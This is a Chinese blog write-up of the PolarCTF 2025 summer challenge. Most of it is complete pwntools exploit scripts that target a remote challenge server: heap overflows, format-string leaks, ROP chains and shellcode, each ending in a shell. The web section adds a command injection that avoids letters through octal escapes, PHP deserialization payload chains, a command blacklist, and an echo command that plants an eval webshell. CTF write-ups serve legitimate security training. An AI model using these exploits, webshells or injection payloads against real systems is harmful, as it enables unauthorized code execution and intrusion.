menu EDS
polarctf 2025年夏季个人挑战赛
250 浏览 | 2025-06-07 | 分类:默认分类 | 标签:

2025年夏季个人挑战赛

pwn

magichouse

经典堆题。主函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v4 = malloc(0x10uLL);
  *v4 = hello_message;
  v4[1] = goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_gift();
        break;
      case 2:
        add_gift();
        break;
      case 3:
        change_gift();
        break;
      case 4:
        remove_gift();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

编辑函数存在堆溢出,编辑时可以输入任意长度字符串。

unsigned __int64 change_gift()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of gift:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *(&unk_6020C8 + 2 * v1) )
    {
      printf("Please enter the length of gift name:");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the gift:");
      *(*(&unk_6020C8 + 2 * v1) + read(0, *(&unk_6020C8 + 2 * v1), v2)) = 0; //漏洞点
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No gift in the house");
  }
  return __readfsqword(0x28u) ^ v5;
}

通过溢出修改fastbin的fd实现任意地址写,本题目pie没开,可以直接写到堆块地址管理区。

add(0x68,'aaaa')
add(0x68,'bbbb')
add(0x68,'/bin/sh\x00')

free(1)

edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad))


add(0x68,'dddd')

修改堆块地址到got表泄露libc。

add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts']))

show()

修改__free_hooksystem地址,free一个/bin/sh字符串rce。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./magichouse')
    #gdb.attach(r,"b * 0x40138a")
    gdb.attach(r,"b * menu")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2114)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./magichouse')

def add(name,gift):
    r.recvuntil("choice:")
    r.sendline("2")
    r.recvuntil("name:")
    r.sendline(str(name))
    r.recvuntil("gift:")
    r.sendline(gift)
    

def edit(index,size,Content):
    r.recvuntil("choice:")
    r.sendline("3")
    r.recvuntil("gift:")
    r.sendline(str(index))
    r.recvuntil("name:")
    r.sendline(str(size))
    r.recvuntil("gift:")
    r.sendline(Content)

def free(index):
    r.recvuntil("choice:")
    r.sendline("4")
    r.recvuntil("gift:")
    r.sendline(str(index))


def show():
    r.recvuntil("choice:")
    r.sendline("1")


add(0x68,'aaaa')
add(0x68,'bbbb')
add(0x68,'/bin/sh\x00')

free(1)

edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad))


add(0x68,'dddd')
add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts']))

show()

r.recvuntil("0 : ")
puts = u64(r.recv(6)+'\x00\x00')
log.success("puts:"+hex(puts))
libc_addr = puts - libc.symbols['puts']
system = libc_addr + libc.symbols['system']

edit(3,0x68,'\x00'*3+p64(0x68)+p64(libc_addr + libc.symbols['__free_hook']))

edit(0,0x68,p64(system))
free(2)

r.interactive()

bllhl_pieee

漏洞点在input()函数。

unsigned __int64 input()
{
  char v1[112]; // [rsp+0h] [rbp-270h] BYREF
  char buf[504]; // [rsp+70h] [rbp-200h] BYREF
  unsigned __int64 v3; // [rsp+268h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  read(0, buf, 0x20uLL);
  printf(buf);
  gets(v1);
  return __readfsqword(0x28u) ^ v3;
}

格式化字符串依次泄露栈、canary、pie地址。把/bin/sh字符串写在rop链后面,写在前面会被system函数的栈覆盖掉。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./bllhl_pieee')
    gdb.attach(r,"b * $rebase(0xAe8)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2136)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./bllhl_pieee')

r.recvuntil("shell?")

r.send("no")
sleep(1)
r.send("%p%83$p%85$p/bin/sh")

r.recvuntil("good!!!")

stack = int(r.recv(14),16)
canary = int(r.recv(18),16)
pie = int(r.recv(14),16) - 0xbc6

rdi = pie +  0xc53
system = pie + elf.symbols['system']
binsh = stack +0x220

log.success("stack:"+hex(stack))
log.success("canary:"+hex(canary))
log.success("pie:"+hex(pie))

r.sendline( "a"*(0x268)  +p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system)+ "/bin/sh\x00")

r.interactive()

bllbl_shellcode4

bss段可执行,sub_401306()函数有栈溢出,题目提供了/bin/sh字符串。

int sub_401306()
{
  char buf[9]; // [rsp+7h] [rbp-9h] BYREF

  puts("bllbl say: ");
  printf("welcome to PolarCTF Summer Games");
  read(0, buf, 0x24uLL);
  return printf("okok");
}

栈迁移到bss段,写入9(溢出位)+8(rbp)长度的微小shellcode rce。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./bllbl_shellcode4')
    gdb.attach(r,"b * 0x401360")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2060)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./bllbl_shellcode4')

r.recvuntil("Games")

r.send("a"*9+p64(0x404300)+p64(0x401335))

r.recvuntil("okok")

sc = asm("mov al,0x3b;mov edi,0x40203f;xor rsi,rsi;mov rdx,rsi;syscall;")
r.send(sc + 'a'*(17-len(sc))+p64(0x404300-9))

r.interactive()

polarmagicheap

堆题,依旧是编辑函数堆溢出。

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1) v2); // 漏洞在此
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

劫持atoi(),函数为system()函数rce。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./polarmagicheap')
    #gdb.attach(r,"b * 0x40138a")
    gdb.attach(r,"b * menu")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2117)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./polarmagicheap')

def add(size,Content):
    r.recvuntil("choice :")
    r.sendline("1")
    r.recvuntil("Heap :")
    r.sendline(str(size))
    r.recvuntil("heap:")
    r.send(Content)
    

def edit(index,size,Content):
    r.recvuntil("choice :")
    r.sendline("2")
    r.recvuntil("Index :")
    r.sendline(str(index))
    r.recvuntil("Heap :")
    r.sendline(str(size))
    r.recvuntil("heap :")
    r.send(Content)

def free(index):
    r.recvuntil("choice :")
    r.sendline("3")
    r.recvuntil("Index :")
    r.sendline(str(index))


add(0x68,'aaaa')
add(0x68,'bbbb')
add(0x68,'/bin/sh\x00')

free(1)

edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad))


add(0x68,'dddd')
add(0x68,'\x00'*0x23+p64(0x6020e8))
edit(0,8,p64(elf.got['free']))
edit(1,8,p64(elf.symbols['puts']))
edit(0,8,p64(elf.got['puts']))

free(1)
puts = u64(r.recv(6)+'\x00\x00')
log.success("puts:"+hex(puts))
libc_addr = puts - libc.symbols['puts']
system = libc_addr + libc.symbols['system']

edit(0,8,p64(elf.got['atoi']))
edit(1,8,p64(system))

r.send("/bin/sh")

r.interactive()

flow

栈溢出,漏洞点在

char *__cdecl xxx(char *s)
{
  char dest[20]; // [esp+7h] [ebp-21h] BYREF
  unsigned __int8 v3; // [esp+1Bh] [ebp-Dh]
  int v4; // [esp+1Ch] [ebp-Ch]

  printf("hello hacker!");
  v3 = strlen(s);
  if ( v3 <= 1u || v3 > 9u )
  {
    printf("no");
  }
  else
  {
    printf("good!");
    return strcpy(dest, s);
  }
  return (char *)v4;
}

输入长度在0x102至0x109就可以溢出不出发waf。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'


local = 0
if local == 1:
    r=process('./flow')
    gdb.attach(r,"b * 0x80487D8")
    #gdb.attach(r,"b * menu")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2094)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./flow')

r.recvuntil('name')
r.send('a'*8)

r.recvuntil("going?")
r.sendline('3')

r.recvuntil("shell:")

payload = cyclic(37) + p32(elf.symbols['system']) + p32(elf.symbols['system']) + p32(elf.search('/bin/sh').next())


r.send(payload + 'a'*(0x105-len(payload)))


r.interactive()

bllhl_double_free

编辑函数堆溢出。

ssize_t edit_chunk()
{
  int num; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  puts("index:");
  num = get_num();
  puts("length:");
  v2 = get_num();
  puts("content:");
  return read(0, (&chunk_list)[num], v2); //漏洞点
}

将0x6020D0地址覆盖为520 getshell。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./bllhl_double_free')
    #gdb.attach(r,"b * 0x40138a")
    gdb.attach(r,"b * menu")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2125)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./bllhl_double_free')

def add(index,size):
    r.recvuntil("choice:")
    r.sendline("1")
    r.recvuntil("index:")
    r.sendline(str(index))
    r.recvuntil("size:")
    r.sendline(str(size))
    

def edit(index,size,Content):
    r.recvuntil("choice:")
    r.sendline("3")
    r.recvuntil("index:")
    r.sendline(str(index))
    r.recvuntil("length:")
    r.sendline(str(size))
    r.recvuntil("content:")
    r.send(Content)

def free(index):
    r.recvuntil("choice:")
    r.sendline("2")
    r.recvuntil("index:")
    r.sendline(str(index))


add(0,0x68)
add(1,0x68)
add(2,0x68)

free(1)

edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020bc))


add(3,0x68)
add(4,0x68)

edit(4,0x88,"a"*4+p64(520))
r.recvuntil("choice:")
r.sendline(5)

r.interactive()

gadget

一次任意地址读,一次任意地址执行。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 (*v4)(void); // [rsp+8h] [rbp-28h] BYREF
  _QWORD buf[4]; // [rsp+10h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts(s);
  puts(
    "鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨晲鈻堚枅鈺椻枅鈻堚晳     鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨枅鈻堚晽\n");
  puts(asc_400BA8);
  puts(asc_400C18);
  puts(asc_400C88);
  puts(asc_400CF8);
  setbuf(stdout, 0LL);
  printf("welcome to polar challenge");
  puts("You need an address.");
  __isoc99_scanf("%ld", &v4);
  read(0, buf, 0x10uLL);
  if ( buf[0] != 520LL )
    return 0;
  printf("the gift for you: 0x%016lx\n", *(_QWORD *)v4);
  printf("Here is the address you want to go to.");
  puts("you need to use");
  __isoc99_scanf("%ld", &v4);
  puts("polar");
  puts(s);
  puts(
    "鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨晲鈻堚枅鈺椻枅鈻堚晳     鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨枅鈻堚晽\n");
  puts(asc_400BA8);
  puts(asc_400C18);
  puts(asc_400C88);
  puts(asc_400CF8);
  return v4();
}

读got表,执行one_gadget。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./gadget')
    gdb.attach(r,"b * 0x400A1C")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2066)
    libc = ELF('./libc.so')

elf = ELF('./gadget')

r.recvuntil("address.")

r.sendline(str(elf.got['puts']))

sleep(1)
r.send(p64(520))

r.recvuntil("the gift for you: ")
puts = int(r.recv(18),16)

libc_addr = puts - libc.symbols['puts']

log.success("puts:"+hex(puts))
r.sendline(str(libc_addr + 0x45216))

r.interactive()

format

格式化字符串改n,gets()栈溢出拿shell。

int input()
{
  char buf[264]; // [esp+0h] [ebp-108h] BYREF

  puts("hello hacker!");
  read(0, buf, 0x50u);
  printf(buf);
  if ( n == 4 )
    return back();
  else
    return printf("NO!");
}
char *back()
{
  char s[24]; // [esp+0h] [ebp-18h] BYREF

  puts("666!");
  return gets(s);
}

exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'i386'


local = 0
if local == 1:
    r=process('./format')
    gdb.attach(r,"b * 0x8048739")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('1.95.36.136',2066)
    libc = ELF('./libc.so')

elf = ELF('./format')

r.recvuntil("shell?")
r.send("no")
r.recvuntil("hacker!")
r.send(p32(0x804A06C)+"%4$n")

r.recvuntil("666")
r.sendline("a"*24+p32(0xdeadbeef)+p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(0x804a500)+p32(0x804a500))

r.interactive()

web

渗透之王

dirsearch扫描结果

[11:08:18] Starting:
[11:08:21] 403 -  318B  - /.ht_wsr.txt
[11:08:21] 403 -  318B  - /.htaccess.bak1
[11:08:21] 403 -  318B  - /.htaccess.sample
[11:08:21] 403 -  318B  - /.htaccess.orig
[11:08:21] 403 -  318B  - /.htaccess_orig
[11:08:21] 403 -  318B  - /.htaccess.save
[11:08:21] 403 -  318B  - /.htaccess_extra
[11:08:21] 403 -  318B  - /.htaccessOLD
[11:08:21] 403 -  318B  - /.htaccessBAK
[11:08:21] 403 -  318B  - /.htaccess_sc
[11:08:21] 403 -  318B  - /.html
[11:08:21] 403 -  318B  - /.htaccessOLD2
[11:08:21] 403 -  318B  - /.htpasswds
[11:08:21] 403 -  318B  - /.htm
[11:08:21] 403 -  318B  - /.htpasswd_test
[11:08:21] 403 -  318B  - /.httr-oauth
[11:08:27] 200 -  260B  - /admin.php
[11:08:53] 403 -  318B  - /server-status
[11:08:53] 403 -  318B  - /server-status/
[11:09:00] 200 -    2KB - /www.zip

admin.php内容为,解码为polarctf。

我的文件喜欢加密

cG9sYXJjdGY=

用这个密码解密www.zip,得到一个字典,用bp爆破密码为admin789

登录进入下一环节,dirsearch结果如下。

[11:57:16] 403 -  318B  - /polarctf/.ht_wsr.txt
[11:57:16] 403 -  318B  - /polarctf/.htaccess.orig
[11:57:17] 403 -  318B  - /polarctf/.htaccess.bak1
[11:57:17] 403 -  318B  - /polarctf/.htaccess.save
[11:57:17] 403 -  318B  - /polarctf/.htaccess.sample
[11:57:17] 403 -  318B  - /polarctf/.htaccess_extra
[11:57:17] 403 -  318B  - /polarctf/.htaccessBAK
[11:57:17] 403 -  318B  - /polarctf/.htaccessOLD
[11:57:17] 403 -  318B  - /polarctf/.htaccess_sc
[11:57:17] 403 -  318B  - /polarctf/.htaccessOLD2
[11:57:17] 403 -  318B  - /polarctf/.htaccess_orig
[11:57:17] 403 -  318B  - /polarctf/.html
[11:57:17] 403 -  318B  - /polarctf/.htm
[11:57:17] 403 -  318B  - /polarctf/.htpasswd_test
[11:57:17] 403 -  318B  - /polarctf/.htpasswds
[11:57:17] 403 -  318B  - /polarctf/.httr-oauth
[11:57:21] 200 -    1KB - /polarctf/about.php
[11:57:33] 200 -    1KB - /polarctf/contact.php
[11:57:58] 200 -    2KB - /polarctf/upload.php

upload.php是一个上传页面,花式绕过,访问webshell getshell。

狗黑子的变量

这题可以看做0字母命令执行(剩下那个PATH没啥用了),在终端中可以将8进制数字转换为对应字母并执行。例如ls 可以通过$'\154\163' 的方式进行执行。

<?php
error_reporting(0);
highlight_file(__FILE__);

$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');


$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
    die("heizi");
}

system($gou);
?>

$'\154\163' ../找到flag.php

 <?php
error_reporting(0);
highlight_file(__FILE__);

$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');


$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
    die("heizi");
}

system($gou);
?>
flag.php html logs modules run 

$'\143\141\164' ../??a*读取flag

 <?php
error_reporting(0);
highlight_file(__FILE__);

$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');


$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
    die("heizi");
}

system($gou);
?>
flag{Tung Tung Tung Sahur} 

easyRead

反序列化

<?php

Class Read{
    public $source;
    public $is;

    public function __toString() {
        return $this->is->run("Read");
    }

    public function __wakeup(){
            echo "Hello>>>".$this->source;
    }

}
class Help{
    public $source;
    public $str;
    public function Printf($what){
        echo "Hello>>>".$what;
        echo "<br>";
        return $this->str->source;
    }

    public function __call($name, $arguments){
        $this->Printf($name);
    }
}
class Polar {
    private  $var;
    public function getit($value){

        eval($value);
    }
    public function __invoke(){
        $this->getit($this->var);
    }
}

class Doit{
    public $is;
    private $source;
    public function __construct(){
        $this->is = array();
    }

    public function __get($key){
        $vul = $this->is;
        return $vul();
    }
}

if(isset($_GET['polar'])){
    @unserialize($_GET['polar']);
}
else{
    highlight_file(__FILE__);
}

利用链如下

Read __wakeup ---> Read __toString ---> Help __call ---> Help __Printf ---> Doit __get ---> Polar

exp

<?php

Class Read{
    public $source;
    public $is;

    public function __construct(){
        $this->is = new Help;
        //$this->source = new Read;
    }
    public function __toString() {
        return $this->is->run("Read");
    }

    public function __wakeup(){
            echo "Hello>>>".$this->source;
    }

}
class Help{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Doit;
        $this->source = 'a';
    }
    public function Printf($what){
        echo "Hello>>>".$what;
        echo "<br>";
        return $this->str->source;
    }

    public function __call($name, $arguments){
        $this->Printf($name);
    }
}
class Polar {
    private  $var = 'eval($_POST["a"]);';
    public function getit($value){

        eval($value);
    }
    public function __invoke(){
        $this->getit($this->var);
    }
}

class Doit{
    public $is;
    private $source;
    public function __construct(){
        $this->is = new Polar;
    }

    public function __get($key){
        $vul = $this->is;
        return $vul();
    }
}

$read = new Read();
$read->source = new Read();

echo urlencode(serialize($read));

实施exp

O%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A18%3A%22eval%28%24_POST%5B%22a%22%5D%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7Ds%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A18%3A%22eval%28%24_POST%5B%22a%22%5D%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7D

狗黑子的隐藏

一顿绕过找到了题目的源码c''at *

<?php
// 检查是否有POST请求且包含cmd参数
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    
    // 强制切换到当前目录(重要安全措施)
    chdir(dirname(__FILE__));
    
    // 过滤危险字符和关键字
    $blacklist = array('f','g','cat', 'flag', '&', '|', '`','{', '}','in','nd','de','ex','head','tac','le','ss','mo','re','..','/','\\');
    $is_dangerous = false;
    
    // 检查命令是否包含黑名单中的任何项
    foreach ($blacklist as $item) {
        if (stripos($cmd, $item) !== false) {
            $is_dangerous = true;
            break;
        }
    }
    
    // 如果检测到危险操作,回显错误信息
    if ($is_dangerous) {
        echo "不支持危险操作";
    } else {
        // 检查过滤后的命令是否为空
        if (!empty($cmd)) {
            // 执行过滤后的命令
            system($cmd);
        }
    }
}
?>

写入webshell,getshell flag在上级目录flag.php。

cmd=echo '<?php eval($_POST["a"]);?>' >a.php

nukaka_ser2

题目源码

 <?php

class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";

    public function __toString() {

        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

class DataValidator {
    public static function check($input) {
        $filtered = preg_replace('/[^\w]/', '', $input);
        return strlen($filtered) > 10 ? true : false;
    }

    public function __invoke($data) {
        return self::check($data);
    }
}

class FakeDanger {
    private $buffer;
    
    public function __construct($data) {
        $this->buffer = base64_encode($data);
    }

    public function __wakeup() {
        if (rand(0, 100) > 50) {
            $this->buffer = str_rot13($this->buffer);
        }
    }
}

class VulnerableClass {
    public $logger;
    private $debugMode = false;

    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }

    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}


function sanitize_input($data) {
    $data = trim($data);
    return htmlspecialchars($data, ENT_QUOTES);
}

if(isset($_GET['data'])) {
    $raw = base64_decode($_GET['data']);
    if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
        unserialize($raw); 
    }
} else {
    highlight_file(__FILE__);
}
?> 

构造反序列化链。

VulnerableClass --->logger FlagReader
FlagReader ---> cat flag

exp

 <?php

class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";

    public function __toString() {

        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

class DataValidator {
    public static function check($input) {
        $filtered = preg_replace('/[^\w]/', '', $input);
        return strlen($filtered) > 10 ? true : false;
    }

    public function __invoke($data) {
        return self::check($data);
    }
}

class FakeDanger {
    private $buffer;
    
    public function __construct($data) {
        $this->buffer = base64_encode($data);
    }

    public function __wakeup() {
        if (rand(0, 100) > 50) {
            $this->buffer = str_rot13($this->buffer);
        }
    }
}

class VulnerableClass {
    public $logger;
    private $debugMode = true;

    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }

    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}

$a = new VulnerableClass;
$a->logger = new FlagReader;

echo base64_encode(serialize($a));

exp输出

TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7czoxMjoiL3RtcC9sb2cudHh0IjtzOjEwOiIAKgBjb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=

发表评论

email
web

全部评论 (共 1 条评论)

    2025-06-07 13:33
    (ノ°ο°)ノ